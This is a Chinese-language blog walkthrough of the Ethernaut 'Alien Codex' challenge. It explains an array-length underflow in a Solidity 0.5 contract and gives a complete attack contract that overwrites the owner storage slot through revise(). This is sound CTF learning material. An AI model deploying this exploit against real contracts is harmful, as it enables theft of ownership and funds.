抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Alien Codex

1. 题目要求

  • 1.1 你打开了一个 Alien 合约. 申明所有权来完成这一关.

    这可能有帮助

    • 理解Array Storage是怎么回事
    • 理解 ABI specifications
    • 使用一个非常 方法
  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

2. 分析

tips: 参考博客

  • 2.1 在 AlienCodex 合约中,我们可以利用该retract()函数导致数组长度出现整数下溢codex。这个下溢允许我们通过函数修改合约中的任何状态变量revise()。该漏洞可以按如下方式执行:

    1. 调用make_contact()函数通过contacted()修饰符检查,要求contact为真。
    2. 调用retract()函数导致数组codex长度整数溢出
    3. 通过以下方式找到状态变量的散列,owner就好像它是codex数组的一部分一样:
    • 获取数组中第一项的哈希值codex(因为它在合约存储中被索引),对应于它在合约存储中的槽位。这可以通过计算第一个位置的 Keccak256 哈希值来获得,因此:keccak256(0x0000000000000000000000000000000000000000000000000000000000000001)
    • 取由此 ( 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6) 产生的哈希值,并从合约中的最大插槽数量中减去其整数值加一 (2个256−1个), 大概是这样的:
    • image-20230225150415772d.使用这个结果值作为revise()要修改的i数组的(索引)和我们的地址。codex``_content
  • 2.2 参考视频 写的攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
interface IAlienCodex {
function owner() external view returns (address);
function make_contact() external;
function revise(uint i, bytes32 _content) external;
function retract() external;

}

contract Hack {
constructor(IAlienCodex target) {
target.make_contact();
target.retract();

uint256 h = uint256(keccak256(abi.encode(uint256(1))));
uint256 i = uint256(0) - h;
// unchecked {
// i = i - h;
// }


target.revise(i, bytes32(uint256(uint160(msg.sender))));
require(target.owner() == msg.sender, "Hack Failed");
}
}

3. 解题

  • 3.1 获取关卡实例地址:0x175A96bA1755F20E85ff80089ec9000dD0df463e
  • 3.2 将实例地址作为参数进行对攻击合约的部署
  • image-20230225160117049
  • 3.3 提交案例
  • image-20230225160225867
  • 3.4 成功!!!!

评论



政策 · 统计 | 本站使用 Volantis 主题设计